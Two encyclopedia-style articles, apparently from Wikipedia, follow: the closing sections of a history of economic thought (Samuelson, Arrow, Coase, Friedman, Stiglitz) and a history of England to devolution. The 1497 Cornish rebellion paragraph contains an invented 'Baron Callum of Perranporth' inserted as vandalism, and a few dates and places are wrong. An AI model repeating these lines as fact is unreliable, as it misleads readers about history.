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          In the aftermath of the Great Depression leading up to the second world war, Paul Samuelson wrote his Ph.D. in an attempt to show on how mathematical methods could represent a core of testable economic theory. It was published as Foundations of Economic Analysis in 1947. Samuelson started with two assumptions. First, people and firms will act to maximise their self interested goals. Second, markets tend towards an equilibrium of prices, where demand matches supply. He extended the mathematics to describe equilibrating behaviour of economic systems, including that of the then new macroeconomic theory of John Maynard Keynes. Whilst Richard Cantillon had imitated Isaac Newton's mechanical physics of inertia and gravity in competition and the market, the physiocrats had copied the body's blood system into circular flow of income models, William Jevons had found growth cycles to match the periodicity of sunspots, Samuelson adapted thermodynamics formulae to economic theory. Samuelson incorporated the idea of the Phillips curve into his work. His introductory textbook Economics was influential and widely adopted. Paul Samuelson was awarded the new Bank of Sweden Prize in 1970.


          


          Kenneth Arrow
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          Kenneth Arrow (b. 1921), Paul Samuelson's brother-in-law, was the youngest ever recipient of the Nobel Prize in 1972 with John Hicks. Arrow's first major work, forming his doctoral dissertation at Columbia University was Social Choice and Individual Values (1951), which brought economics into contact with political theory. His argument was that individuals can never reach social consensus, when deciding by preferences and presented with over three options. To prove this Arrow sets out five criteria, which he argues are reasonable, that must be fulfilled for lasting social consensus. First, consensus should account for everyone's preferences and not favour one person or group ("non-dictatorship"). Second, consensus must take account of everyone's preferences in unrestricted domain ("universality"). Third, consensus must be based on preferences unaltered by the addition of new options, so that if people choose A over B, if an option C were added, this would not lead people to express greater preference for B over A (" independence of irrelevant alternatives"). Fourth, social preference should have a positive relation with individual preferences, so that if individuals changed preference from A to B, social preference would reflect that and not show any opposite change from B to A (" monotonicity"). And last, any consensus through any combination of individual preferences should be allowed ("citizen sovereignty"). Arrow's impossibility theorem is that if one accepts these five working assumptions (especially the third one), as Arrow argues we should, then any more than three options given to two people or more with different preferences will make agreement impossible. In 1971 Arrow with Frank Hahn co-authored General Competitive Analysis (1971), which reasserted a theory of general equilibrium of prices through the economy.


          


          Chicago's conservationists


          The interventionist monetary and fiscal policies that the orthodox post-war economics recommended came under attack in particular by a group of theorists working at the University of Chicago, which came to be known as the Chicago School. This more conservative strand of thought reasserted a "libertarian" view of market activity, that people are best left to themselves, free to choose how to conduct their own affairs. More academics who have worked at the University of Chicago have been awarded the Bank of Sweden's prize in economics than those from any other university.


          


          Friedrich von Hayek
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          Friedrich von Hayek (1899-1992) was born in an aristocratic Viennese background and an early follower of Carl Menger. He was awarded the Nobel Prize in 1974. Though a faculty member at the University of Chicago, his faculty position was unpaid and he is usually categorized not as a member of the Chicago School, but rather the Austrian School of economics that included Menger, Ludwig von Mises, and Murray Rothbard.


          


          Ronald Coase


          Ronald Coase (b. 1910) is the most prominent economic analyst of law and the 1991 Nobel Prize winner. His first major article, The Nature of the Firm (1937), argued that the reason for the existence of firms ( companies, partnerships, etc.) is the existence of transaction costs. Rational individuals trade through bilateral contracts on open markets until the costs of transactions mean that using corporations to produce things is more cost-effective. His second major article, The Problem of Social Cost (1960), argued that if we lived in a world without transaction costs, people would bargain with one another to create the same allocation of resources, regardless of the way a court might rule in property disputes. Coase used the example of an old legal case about nuisance named Sturges v. Bridgman, where a noisy sweetmaker and a quiet doctor were neighbours and went to court to see who should have to move. Coase said that regardless of whether the judge ruled that the sweetmaker had to stop using his machinery, or that the doctor had to put up with it, they could strike a mutually beneficial bargain about who moves house that reaches the same outcome of resource distribution. Only the existence of transaction costs may prevent this. So the law ought to pre-empt what would happen, and be guided by the most efficient solution. The idea is that law and regulation are not as important or effective at helping people as lawyers and government planners believe. Coase and others like him wanted a change of approach, to put the burden of proof for positive effects on a government that was intervening in the market, by analysing the costs of action.


          


          Milton Friedman
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          Milton Friedman (1912-2006) stands as one of the most influential economists of the late twentieth century. He won the Nobel Prize in Economics in 1976, among other things, for A Monetary History of the United States (1963). Friedman argued that the Great Depression had been caused by the Federal Reserve's policies through the 1920s, and worsened in the 1930s. Friedman argues laissez-faire government policy is more desirable than government intervention in the economy. Governments should aim for a neutral monetary policy oriented toward long-run economic growth, by gradual expansion of the money supply. He advocates the quantity theory of money, that general prices are determined by money. Therefore active monetary (e.g. easy credit) or fiscal (e.g. tax and spend) policy can have unintended negative effects. In Capitalism and Freedom (1967) Friedman wrote,


          
            "There is likely to be a lag between the need for action and government recognition of the need; a further lag between recognition of the need for action and the taking of action; and a still further lag between the action and its effects.

          


          The slogan that "money matters" has come to be associated with Friedman, but Friedman has also levelled harsh criticism of his ideological opponents. Referring to Thorsten Veblen's assertion that economics unrealistically models people as "lightning calculator[s] of pleasure and pain", Friedman wrote,


          
            "criticism of this type is largely beside the point unless supplemented by evidence that a hypothesis differing in one or another of these respects from the theory being criticized yields better predictions for as wide a range of phenomena."

          


          


          Gary Becker
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          Gary Becker (b. 1930) is a Nobel prize winner from 1992 and is known in his work for applying economic methods of thinking to other fields, such as crime, sexual relationships and drugs, assuming that people act rationally. His work was originally focused in labour economics.


          


          Global times


          


          Amartya Sen


          Amartya Sen (b. 1933) is a leading development economist and has expressed considerable scepticism on the validity of neo-classical assumptions.


          


          Joseph E. Stiglitz
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          Joseph Stiglitz (b. 1943) won the Nobel Prize in 2001 for his work in information economics. He is a widely read popular and academic author, for instance for his textbook Economics of the Public sector (2000). He worked as the chief economist for the World Bank, and subsequently has become a chief critic of the way global economic institutions function.


          
            "The typical advice of a visiting consultant making a hurried trip to one of the economies making a transition path is to repeatedly emphasize the importance of markets, a lesson seemingly by now well learned (though market advocates would say that it is a lesson that cannot be repeated too often, and as simple as it may seem, the full import of which seems difficult to absorb - even in economies long accustomed to markets). Indeed there seems to be a certain instant attraction between the old ideologues of the left and the ideologues of the right. Both are driven by a religious fervour, not by rational analysis."

          


          
            "The fundamental problem with the neoclassical model and the corresponding model under market socialism is that they fail to take into account a variety of problems that arise from the absence of perfect information and the costs of acquiring information, as well as the absence or imperfections in certain key risk and capital markets. The absence or imperfection can, in turn, to a large extent be explained by problems of information.

          


          


          Paul Krugman


          Paul Krugman (b.1953) is the most widely read contemporary economist. His best selling text International Economics (2007) appears on most undergraduate courses.


          


          
            Retrieved from " http://en.wikipedia.org/wiki/History_of_economic_thought"
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          The history of England is similar to the history of Britain until the arrival of the Saxons. It begins in the prehistoric during which time Stonehenge was erected. At the height of the Roman Empire, Britannia (England and Wales) was under the rule of the Romans. Their rule lasted until about 410, at which time the Romano-British formed various independent kingdoms. The Anglo-Saxons gradually gained control of England and became the chief rulers of the land. Raids by the Vikings were frequent after about AD 800. In 1066, the Normans invaded and conquered England. There was much civil war and battles with other nations throughout the Middle Ages. During the Renaissance, England was ruled by the Tudors. England had conquered Wales in the 12th century and was then united with Scotland in the early 18th century to form "Great Britain". Following the Industrial Revolution, Great Britain ruled a worldwide empire, of which, physically, little remains, however its cultural impact is widespread and deep in many countries of the present day.


          


          The Pretannic Isles
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          Archaeological evidence indicates that what was later southern Britannia was colonised by humans long before the rest of the British Isles because of its more hospitable climate between and during the various ice ages of the distant past.


          The first historical mention of the region is from the Massaliote Periplus, a sailing manual for merchants thought to date to the 6th century BC, although cultural and trade links with the continent had existed for millennia prior to this. Pytheas of Massilia wrote of his trading journey to the island around 325 BC.


          Later writers such as Pliny the Elder (quoting Timaeus) and Diodorus Siculus (probably drawing on Poseidonius) mention the tin trade from southern Britain, but there is little further historical detail of the people who lived there.


          Tacitus wrote that there was no great difference in language between the people of southern Britannia and northern Gaul and noted that the various nations of Britons shared physical characteristics with their continental neighbours.


          


          Roman Britain (Britannia)
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          Julius Caesar invaded southern Britain in 55 and 54 BC and wrote in De Bello Gallico that the population of southern Britannia was extremely large and shared much in common with the Belgae of the Low Countries. Coin evidence and the work of later Roman historians have provided the names of some of the rulers of the disparate tribes and their machinations in what was Britannia. Until the Roman Conquest of Britain, Britain's British population was relatively stable, and by the time of Julius Caesar's first invasion, the British population of what was old Britain was speaking a Celtic language generally thought to be the forerunner of the modern Brythonic languages. After Julius Caesar abandoned Britain, it fell back into the hands of the Britons.


          The Romans began their second conquest of Britain in 43 AD, during the reign of Claudius. They annexed the whole of modern England and Wales over the next forty years and periodically extended their control over much of lowland Scotland.


          


          Post Roman Britain


          In the wake of the breakdown of Roman rule in Britain around 410, present day England was progressively settled by Germanic groups. Collectively known as the Anglo-Saxons, these included Jutes from Jutland together with larger numbers of Frisians, Saxons from northwestern Germany and Angles from what is now Schleswig-Holstein.


          They first invaded Britain in the mid 5th century, continuing for several decades. The Jutes appear to have been the principal group of settlers in Kent, the Isle of Wight and parts of coastal Hampshire, while the Saxons predominated in all other areas south of the Thames and in Essex and Middlesex, and the Angles in Norfolk, Suffolk, the Midlands and the north.


          


          Anglo-Saxon conquests and the founding of England
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          In approximately 495, at the Battle of Mount Badon, Britons inflicted a severe defeat on an invading Anglo-Saxon army which halted the westward Anglo-Saxon advance for some decades. Archaeological evidence collected from pagan Anglo-Saxon cemeteries suggests that some of their settlements were abandoned and the frontier between the invaders and the native inhabitants pushed back some time around 500.


          Anglo-Saxon expansion resumed in the sixth century, although the chronology of its progress is unclear. One of the few individual events which emerges with any clarity before the seventh century is the Battle of Deorham, in 577, a West Saxon victory which led to the capture of Cirencester, Gloucester and Bath, bringing the Anglo-Saxon advance to the Bristol Channel and dividing the Britons in the West Country from those in Wales. The Northumbrian victory at the Battle of Chester around 616 may have had a similar effect in dividing Wales from the Britons of Cumbria.


          Gradual Saxon expansion through the West Country continued through the seventh, eighth and ninth centuries. Meanwhile, by the mid-seventh century the Angles had pushed the Britons back to the approximate borders of modern Wales in the west and expanded northward as far as the River Forth.


          


          Heptarchy and Christianisation
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          Christianisation of Anglo-Saxon England began around 600 AD, influenced by Celtic Christianity from the northwest and by the Roman Catholic Church from the southeast. Augustine, the first Archbishop of Canterbury, took office in 597. In 601, he baptised the first Christian Anglo-Saxon king, Aethelbert of Kent. The last pagan Anglo-Saxon king, Penda of Mercia, died in 655. The Anglo-Saxon mission on the continent took off in the 8th century, leading to the Christianisation of practically all of the Frankish Empire by 800.


          Throughout the 7th and 8th century power fluctuated between the larger kingdoms. Bede records Aethelbert of Kent as being dominant at the close of the 6th century, but power seems to have shifted northwards to the kingdom of Northumbria, which was formed from the amalgamation of Bernicia and Deira. Edwin of Northumbria probably held dominance over much of Britain, though Bede's Northumbrian bias should be kept in mind. Succession crises meant Northumbrian hegemony was not constant, and Mercia remained a very powerful kingdom, especially under Penda. Two defeats essentially ended Northumbrian dominance: the Battle of the Trent in 679 against Mercia, and Nechtanesmere in 685 against the Picts.


          The so-called "Mercian Supremacy" dominated the 8th century, though it was not constant. Aethelbald and Offa, the two most powerful kings, achieved high status; indeed, Offa was considered the overlord of south Britain by Charlemagne. That Offa could summon the resources to build Offa's Dyke is testament to his power. However, a rising Wessex, and challenges from smaller kingdoms, kept Mercian power in check, and by the early 9th century the "Mercian Supremacy" was over.


          This period has been described as the Heptarchy, though this term has now fallen out of academic use. The word arose on the basis that the seven kingdoms of Northumbria, Mercia, Kent, East Anglia, Essex, Sussex and Wessex were the main polities of south Britain. More recent scholarship has shown that other kingdoms were also politically important across this period: Hwicce, Magonsaete, Lindsey and Middle Anglia.


          


          Viking challenge and the rise of Wessex
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          The first recorded Viking attack in Britain was in 793 at Lindisfarne monastery as given by the Anglo-Saxon Chronicle. However, by then the Vikings were almost certainly well established in Orkney and Shetland, and it is probable that many other non-recorded raids occurred before this. Records do show the first Viking attack on Iona taking place in 794. The arrival of the Vikings, in particular the Danish Great Heathen Army, upset the political and social geography of Britain and Ireland. Alfred the Great's victory at Edington in 878 stemmed the Danish attack; however, by then Northumbria had devolved into Bernicia and a Viking kingdom, Mercia had been split down the middle, and East Anglia ceased to exist as an Anglo-Saxon polity. The Vikings had similar effects on the various kingdoms of the Irish, Scots, Picts and (to a lesser extent) Welsh. Certainly in North Britain the Vikings were one reason behind the formation of the Kingdom of Alba, which eventually evolved into Scotland.


          The conquest of Northumbria, north-western Mercia and East Anglia by the Danes led to widespread Danish settlement in these areas. In the early tenth century the Norwegian rulers of Dublin took over the Danish kingdom of York. Danish and Norwegian settlement made enough of an impact to leave significant traces in the English language; many fundamental words in modern English are derived from Old Norse, though of the 100 most used words in English the vast majority are Old English in origin. Similarly, many place-names in areas of Danish and Norwegian settlement have Scandinavian roots.


          By the end of Alfred's reign in 899 he was the only remaining English king, having reduced Mercia to a dependency of Wessex, governed by his son-in-law Ealdorman Aethelred. Cornwall (Kernow) was subject to West Saxon dominance, and the Welsh kingdoms recognised Alfred as their overlord.


          


          English unification
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          Alfred of Wessex died in 899 and was succeeded by his son Edward the Elder. Edward, and his brother-in-law thelred of (what was left of) Mercia, began a programme of expansion, building forts and towns on an Alfredian model. On thelred's death his wife (Edward's sister) thelfld ruled as "Lady of the Mercians" and continued expansion. It seems Edward had his son thelstan brought up in the Mercian court, and on Edward's death Athelstan succeeded to the Mercian kingdom, and, after some uncertainty, Wessex.


          thelstan continued the expansion of his father and aunt and was the first king to achieve direct rulership of what we would now consider England. The titles attributed to him in charters and on coins suggest a still more widespread dominance. His expansion aroused ill-feeling among the other kingdoms of Britain, and he defeated a combined Scottish-Viking army at the Battle of Brunanburh. However, the unification of England was not a certainty. Under thelstan's successors Edmund and Eadred the English kings repeatedly lost and regained control of Northumbria. Nevertheless, Edgar, who ruled the same expanse as Athelstan, consolidated the kingdom, which remained united thereafter.


          During the 10th century there were important developments across Western Europe. Carolingian authority was in decline by the mid-10th century in West Francia (France), and eventually collapsed to be replaced by the weak House of Capet. In East Francia a Saxon dynasty came to power, and its kings began taking the title of Holy Roman Emperor.


          


          England under the Danes and the Norman Conquest
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          There were renewed Scandinavian attacks on England at the end of the 10th century. thelred ruled a long reign but ultimately lost his kingdom to Sweyn of Denmark, though he recovered it following the latter's death. However, thelred's son Edmund II Ironside died shortly afterwards, allowing Canute, Sweyn's son, to become king of England. Under his rule the kingdom became the centre of government for an empire which also included Denmark and Norway.


          Canute was succeeded by his sons, but in 1042 the native dynasty was restored with the accession of Edward the Confessor. Edward's failure to produce an heir caused a furious conflict over the succession on his death in 1066. His struggles for power against Godwin, Earl of Wessex, the claims of Canute's Scandinavian successors, and the ambitions of the Normans whom Edward introduced to English politics to bolster his own position caused each to vie for control Edward's reign. Harold Godwinson became king, in all likelihood appointed by Edward the Confessor on his deathbed and endorsed by the Witan. However, William of Normandy, Harald III of Norway (aided by Harold Godwin's estranged brother Tostig) and Sweyn II of Denmark all asserted claims to the throne. By far the strongest hereditary claim was that of Edgar the Atheling, but his youth and apparent lack of powerful supporters caused to him be passed over, and he did not play a major part in the struggles of 1066, though he was made king for a short time by the Witan after the death of Harold Godwinson.


          The English under Harold Godwinson defeated and killed the Harald of Norway and Tostig and the Danish force at the Battle of Stamford Bridge, but he fell in battle against William of Normandy at the Battle of Hastings. Further opposition to William in support of Edgar the Atheling soon collapsed, and William was crowned king on Christmas Day 1066. For the next five years he faced a series of English rebellions in various parts of the country and a half-hearted Danish invasion, but he was able to subdue all resistance and establish an enduring regime.


          


          Norman England
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          The Norman Conquest led to a sea-change in the history of the English state. William ordered the compilation of the Domesday Book, a survey of the entire population and their lands and property for tax purposes, which reveals that within twenty years of the conquest the English ruling class had been almost entirely dispossessed and replaced by Norman landholders, who also monopolised all senior positions in the government and the Church. William and his nobles spoke and conducted court in Norman French, in England as well as in Normandy. The use of the Anglo-Norman language by the aristocracy endured for centuries and left an indelible mark in the development of modern English.


          The English Middle Ages were characterised by civil war, international war, occasional insurrection, and widespread political intrigue amongst the aristocratic and monarchic elite. England was more than self-sufficient in cereals, dairy products, beef and mutton. The nation's international economy was based on the wool trade, in which the produce of the sheepwalks of northern England was exported to the textile cities of Flanders, where it was worked into cloth. Medieval foreign policy was as much shaped by relations with Flemish textile industry as it was by dynastic adventures in western France. An English textile industry was established in the fifteenth century, providing the basis for rapid English capital accumulation.


          Henry I, also known as "Henry Beauclerc" (so named because of his educationas his older brother William was the heir apparent and thus given the practical training to be king, Henry received the alternate, formal education), worked hard to reform and stabilise the country and smooth the differences between the Anglo-Saxon and Anglo-Norman societies. The loss of his son, William Adelin, in the wreck of the White Ship in November 1120, undermined his reforms. This problem regarding succession cast a long shadow over English history.


          During the confused and contested reign of Stephen, there was a major swing in the balance of power towards the feudal barons, as civil war and lawlessness broke out. In trying to appease Scottish and Welsh raiders, he handed over large tracts of land. His conflicts with his cousin The Empress Matilda (also known as Empress Maud), led to a civil war from 1139 - 1153. Matildas father, Henry I, had required the leading barons, ecclesiastics and officials in Normandy and England, to take an oath to accept Matilda as his heir. England was far less than enthusiastic to accept an outsider, and a woman, as their ruler. There is some evidence suggesting Henry was unsure of his own hopes and the oath to make Matilda his heir. In likelihood, Henry probably hoped Matilda would have a son and step aside as Queen Mother, making her son the next heir. Upon Henrys death, the Norman and English barons ignored Matildas claim to the throne, and thus through a series of decisions, Stephen, Henrys favourite nephew, was welcomed by many in England and Normandy as their new ruler. On December 22, 1135, Stephen was anointed king with the implicit support of the church and nation. Matilda and her own son stood for direct descent by heredity from Henry I, and she bided her time in France. In the autumn of 1139, she invaded England with her illegitimate half-brother Robert of Gloucester. Her husband, Geoffroy V of Anjou, conquered Normandy but did not cross the channel to help his wife, satisfied with Normandy and Anjou.


          Stephen was captured, and his government fell. Matilda was proclaimed queen but was soon at odds with her subjects and was expelled from London. The period of insurrection and civil war that followed continued until 1148, when Matilda returned to France. Stephen effectively reigned unopposed until his death in 1154, although his hold on the throne was still uneasy.


          


          England under the Plantagenets


          Geoffroy's son, Henry, resumed the invasion; he was already Count of Anjou, Duke of Normandy and Duke of Aquitaine when he landed in England. When Stephen's son and heir apparent Eustace died in 1153, Stephen reached an accommodation with Henry of Anjou (who became Henry II) to succeed Stephen and in which peace between them was guaranteed. England was part of a greater union retrospectively named the Angevin Empire. Henry II expanded his power through various means and to different levels into Ireland, Scotland, Wales, Flanders, Nantes, Brittany, Quercy, Toulouse, Bourges and Auvergne.


          The reign of Henry II represents a reversion in power back from the barony to the monarchical state in England; it was also to see a similar redistribution of legislative power from the Church, again to the monarchical state. This period also presaged a properly constituted legislation and a radical shift away from feudalism. In his reign new Anglo-Angevin and Anglo-Aquitanian aristocracies developed, though not to the same point than the Anglo-Norman once did, and the Norman nobles interacted with their French peers.
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          Henry's successor, Richard I "the Lion Heart", was preoccupied with foreign wars, taking part in the Third Crusade and defending his French territories against Philip II of France. His younger brother John, who succeeded him, was not so fortunate; he suffered the loss of Normandy and numerous other French territories following the disastrous Battle of Bouvines. He also managed to antagonise the feudal nobility and leading Church figures to the extent that in 1215, they led an armed rebellion and forced him to sign the Magna Carta, which imposed legal limits on the king's personal powers.


          John's son, Henry III, was only 9 years old when he became king. His reign was punctuated by numerous rebellions and civil wars, often provoked by incompetence and mismanagement in government and Henry's perceived over-reliance on French courtiers (thus restricting the influence of the English nobility). One of these rebellionsled by a disaffected courtier, Simon de Montfortwas notable for its assembly of one of the earliest precursors to Parliament. In addition to fighting the Second Barons' War, Henry III made war against Saint Louis and was defeated during the Saintonge War, yet Louis IX did not capitalise his victory, respecting his opponent's rights.


          The reign of Edward I was rather more successful. Edward enacted numerous laws strengthening the powers of his government, and he summoned the first officially sanctioned Parliaments of England (such as his Model Parliament). He conquered Wales and attempted to use a succession dispute to gain control of the Kingdom of Scotland, though this developed into a costly and drawn-out military campaign. His son, Edward II, suffered a massive defeat at Bannockburn; but the campaign continued until the early years of Edward III and was only finally abandoned after the conclusion of the Treaty of Northampton in 1328, which recognised Scottish Independence.


          The Black Death, an epidemic of bubonic plague that spread over the whole of Europe, arrived in England in 1349 and killed perhaps up to a third of the population. International excursions were invariably against domestic neighbours: the Welsh, Irish, Cornish, and the Hundred Years' War against the French and their Scottish allies. Notable English victories in the Hundred Years' War included Crcy and Agincourt. In addition to this, the final defeat of the uprising led by the Welsh prince, Owain Glyndŵr, in 1412 by Prince Henry (who later became Henry V) represents the last major armed attempt by the Welsh to throw off English rule.


          Edward III gave land to powerful noble families, including many people of royal lineage. Because land was equivalent to power, these powerful men could try to claim the crown. The autocratic and arrogant methods of Richard II only served to alienate the nobility more, and his forceful dispossession in 1399 by Henry IV increased the turmoil. The turmoil was at its peak in the reign of Henry VI, which began in 1422, because of his personal weaknesses and mental instability. Unable to control the feuding nobles, civil war began. The conflicts are known as the Wars of the Roses, and although the fighting was very sporadic and small, there was a general breakdown in the authority and power of the Crown. Edward IV went a little way to restoring this power, Henry VII was able to complete the efforts. The Hundred Years' War was concluded by battles like Patay, Formigny and Castillon.


          


          Tudor England


          


          Henry VII and Henry VIII


          The Wars of the Roses culminated in the eventual victory of the relatively unknown Henry Tudor, Henry VII, at the Battle of Bosworth Field in 1485, where the Yorkist Richard III was slain, and the succession of the Lancastrian House was ultimately assured. Whilst in retrospect it is easy to date the end of the Wars of the Roses to the Battle of Bosworth Field, Henry VII could afford no such complacency. Before the end of his reign, two pretenders tried to wrest the throne from him, aided by remnants of the Yorkist faction at home and abroad. The first, Lambert Simnel, was defeated at the Battle of Stoke (the last time an English King fought someone claiming the Crown); the second, Perkin Warbeck, was hanged in 1499 after plaguing the king for a decade.


          In 1497, Michael An Gof and the lesser-known but more legendary Baron Callum of Perranporth led Cornish rebels in a march on London. In a battle over the River Ravensbourne at Deptford Bridge, An Gof fought for various issues with their root in taxes. It would be fair to say that King Callum smote many an Englishman during this battle, but on June 17, 1497, they were defeated, and Henry VII had showed he could display military prowess when he needed to. But, like Charles I in the future, here was a King with no wish to go "on his travels" again. The rest of his reign was relatively peaceful, despite a slight worry over the succession when his wife Elizabeth of York died in 1503.
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          King Henry VIII split with the Roman Catholic Church over a question of his divorce from Catherine of Aragon. Though his religious position was not at all Protestant, the resultant schism ultimately led to England distancing itself almost entirely from Rome. A notable casualty of the schism was Henry's chancellor, Sir Thomas More. There followed a period of great religious and political upheaval, which led to the English Reformation, the royal expropriation of the monasteries and much of the wealth of the church. The Dissolution of the Monasteries had the effect of giving many of the lower classes (the gentry) a vested interest in the Reformation continuing, for to halt it would be to revive Monasticism and restore lands which were gifted to them during the Dissolution.


          


          Edward and Mary


          Henry VIII had one legitimate child and two illegitimate children who survived him, all of whom ascended to the Crown. The first to reign was Edward VI of England. Although he showed piety and intelligence, he was only 10 years old when he took the throne in 1547. His uncle, Edward Seymour, 1st Duke of Somerset tampered with Henry VIII's will and obtained letters patent giving him much of the power of a monarch by March 1547. He took the title of Protector. Whilst some see him as a high-minded idealist, his stay in power culminated in a crisis in 1549 when many counties of the realm were up in protest. Kett's Rebellion in Kent and the Prayer Book Rebellion in Devon and Cornwall simultaneously created a crisis during a time when invasion from Scotland and France were feared. Somerset, disliked by the Regency Council for his autocratic methods, was removed from power by John Dudley, who is known as Lord President Northumberland. Northumberland proceeded to adopt the power for himself, but his methods were more conciliatory and the Council accepted him.


          When Edward VI lay dying of tuberculosis in 1553, Northumberland made plans to place Lady Jane Grey on the throne and marry her to his son, so that he could remain the power behind the throne. His putsch failed, and Mary I took the throne amidst popular demonstration in her favour in London, which contemporaries described as the largest show of affection for a Tudor monarch. Mary was a devout Catholic who had been influenced greatly by the Catholic King of Spain and Holy Roman Emperor, Charles V, and she tried to reimpose Catholicism on the realm. This led to 274 burnings of Protestants, which are recorded especially in John Foxe's Book of Martyrs. She was highly unpopular among her people, and the Spanish party of her husband, Philip II, caused much resentment around court. Mary lost Calais, the last English possession on the continent, and became increasingly unpopular (except among Catholics) as her reign wore on. She successfully suppressed a rebellion by Sir Thomas Wyatt.


          


          Elizabeth


          The reign of Elizabeth restored a sort of order to the realm following the turbulence of the reigns of Edward and Mary when she came to the throne following the death of Mary in 1558. The religious issue which had divided the country since Henry VIII was in a way put to rest by the Elizabethan Religious Settlement, which created the Church of England. Much of Elizabeth's success was in balancing the interests of the Puritans and Catholics. She managed to offend neither to a large extent, although she clamped down on Catholics towards the end of her reign as war with Catholic Spain loomed.
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          Elizabeth maintained relative government stability apart from the Revolt of the Northern Earls in 1569, she was effective in reducing the power of the old nobility and expanding the power of her government. One of the most famous events in English martial history occurred in 1588 when the Spanish Armada was repelled by the English navy commanded by Sir Francis Drake, but the war that followed was very costly for England and only ended after Elizabeth's death. Elizabeth's government did much to consolidate the work begun under Thomas Cromwell in the reign of Henry VIII, that is, expanding the role of the government and effecting common law and administration throughout England. During the reign of Elizabeth and shortly afterward, the population grew significantly: from three million in 1564 to nearly five million in 1616.


          In all, the Tudor period is seen as a decisive one which set up many important questions which would have to be answered in the next century and during the English Civil War. These were questions of the relative power of the monarch and Parliament and to what extent one should control the other. Some historians think that Thomas Cromwell affected a " Tudor Revolution" in government, and it is certain that Parliament became more important during his chancellorship. Other historians say the "Tudor Revolution" really extended to the end of Elizabeth's reign, when the work was all consolidated. Although the Privy Council declined after the death of Elizabeth, while she was alive it was very effective.
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          17th century


          


          Union of the Crowns


          Elizabeth died in 1603 without leaving any direct heirs. Her closest male Protestant relative was the King of Scots, James VI, of the House of Stuart, who became King James I of England in a Union of the Crowns. King James I & VI as he was styled became the first king of the entire island of Great Britain, though he continued to rule the Kingdom of England and the Kingdom of Scotland separately. Several assassination attempts were made on James, notably the Main Plot and Bye Plots of 1603, and most famously, on November 5, 1605, the Gunpowder Plot, by a group of Catholic conspirators, led by Guy Fawkes, which caused more antipathy in England towards the Catholic faith.


          


          Colonial England


          In 1607 England built an establishment at Jamestown in North America. This was the beginning of English colonisation. Many English settled then in North America for religious or economic reasons. The English merchants holding plantations in the warm southern parts of America then resorted rather quickly to the slavery of Native Americans and imported Africans in order to cultivate their plantations and sell raw material (particularly cotton and tobacco) in Europe. The English merchants involved in colonisation accrued fortunes equal to those of great aristocratic landowners in England, and their money, which fuelled the rise of the middle class, permanently altered the balance of political power.


          


          English Civil War
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          The English Civil War broke out in 1642, largely as a result of an ongoing series of conflicts between James' son, Charles I, and Parliament. The defeat of the Royalist army by the New Model Army of Parliament at the Battle of Naseby in June 1645 effectively destroyed the king's forces. Charles surrendered to the Scottish army at Newark. He was eventually handed over to the English Parliament in early 1647. He escaped, and the Second English Civil War began, although it was a short conflict, with Parliament quickly securing the country. The capture and subsequent trial of Charles led to his beheading in January 1649 at Whitehall Gate in London. A republic was declared, and Oliver Cromwell became the Lord Protector in 1653. After he died, his son Richard Cromwell succeeded him in the office but soon abdicated.


          


          Restoration of the Monarchy


          The monarchy was restored in 1660, with King Charles II returning to London.
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          In 1665, London was swept by a visitation of the plague, and then, in 1666, the capital was swept by the Great Fire, which raged for 5 days, destroying approximately 15,000 buildings.


          After the death of Charles II in 1685, his Catholic brother King James II & VII was crowned. England with a Catholic king on the throne was too much for both people and parliament, and in 1689 the Dutch Protestant Prince William of Orange was invited to replace King James II in what became known as the Glorious Revolution. Despite attempts to secure his reign by force, James was finally defeated by William at the Battle of the Boyne in 1690. However, in parts of Scotland and Ireland Catholics loyal to James remained determined to see him restored to the throne, and there followed a series of bloody though unsuccessful uprisings. As a result of these, any failure to pledge loyalty to the victorious King William was severely dealt with. The most infamous example of this policy was the Massacre of Glencoe in 1692. Jacobite rebellions continued on into the mid-18th century until the son of the last Catholic claimant to the throne, ( James III & VIII), mounted a final campaign in 1745. The Jacobite forces of Prince Charles Edward Stuart, the "Bonnie Prince Charlie" of legend, were defeated at the Battle of Culloden in 1746.
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          18th and 19th Centuries


          


          Formation of the United Kingdom


          The Acts of Union between the Kingdom of England and the Kingdom of Scotland in 1707 caused the dissolution of both the Parliament of England and Parliament of Scotland in order to create a unified Kingdom of Great Britain governed by a unified Parliament of Great Britain.


          The Act of Union of 1800 formally assimilated Ireland within the British political process and from 1 January 1801 created a new state called the United Kingdom of Great Britain and Ireland, which united the Kingdom of Great Britain with the Kingdom of Ireland to form a single political entity. The English capital of London was adopted as the capital of the Union.


          


          Industrial Revolution


          During the late 18th and early 19th centuries, there was considerable social upheaval as a largely agrarian society was transformed by technological advances and increasing mechanization, which was the Industrial Revolution. Much of the agricultural workforce was uprooted from the countryside and moved into large urban centres of production, as the steam-based production factories could undercut the traditional cottage industries, because of economies of scale and the increased output per worker made possible by the new technologies. The consequent overcrowding into areas with little supporting infrastructure saw dramatic increases in the rate of infant mortality (to the extent that many Sunday schools for pre-working age children (5 or 6) had funeral clubs to pay for each others funeral arrangements), crime, and social deprivation.


          The transition to industrialization was not wholly seamless for workers, many of whom saw their livelihoods threatened by the process. Of these, some frequently sabotaged or attempted to sabotage factories. These saboteurs were known as " Luddites".
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          20th and 21st Centuries


          


          Loosening of the Union


          Following years of political and military agitation for 'Home Rule' for Ireland, the Anglo-Irish treaty of 1921 established the Irish Free State (now the Republic of Ireland) as a separate nation, leaving Northern Ireland as part of the United Kingdom. The official name of the UK thus became "The United Kingdom of Great Britain and Northern Ireland".


          Demands for constitutional change in Scotland resulted in a referendum being held in 1997 on the issue of re-establishing a Scottish Parliament, though within the United Kingdom. Following a huge 'Yes' vote, the Scotland Act 1998 was passed and the devolved parliament was elected and took powers in May, 1999. Following the Scottish elections in 2007, a minority SNP government took power, under the leadership of First Minister, Alex Salmond that is determined to move Scotland towards independence. The response of the main unionist parties has been to propose a constitutional commission to look at transferring more powers to the Scottish Parliament.


          Demands for constitutional change in Wales also led to a 1997 referendum on a proposed Assembly, though the result in this case was a very narrow 'Yes' vote. Despite this start, discussions are now taking place about adding to the powers of the Welsh Assembly.


          With the Northern Ireland Assembly restored in 2007, England is now the only one of the four constituent countries of the UK that does not have its own devolved administration. This situation has given rise to a constitutional anomaly known as The West Lothian question, in that since laws for England are made by the entire UK parliament, and the government of England is the entire UK government, Scottish, Welsh and Northern Irish MPs help make law that affect England alone, though English MPs have no similar power over legislation that affects Scotland, Wales or Northern Ireland. This has led to demands for an English Parliament, or even for the formal ending of the United Kingdom, with independence for the constituent countries of the UK.


          
            Retrieved from " http://en.wikipedia.org/wiki/History_of_England"
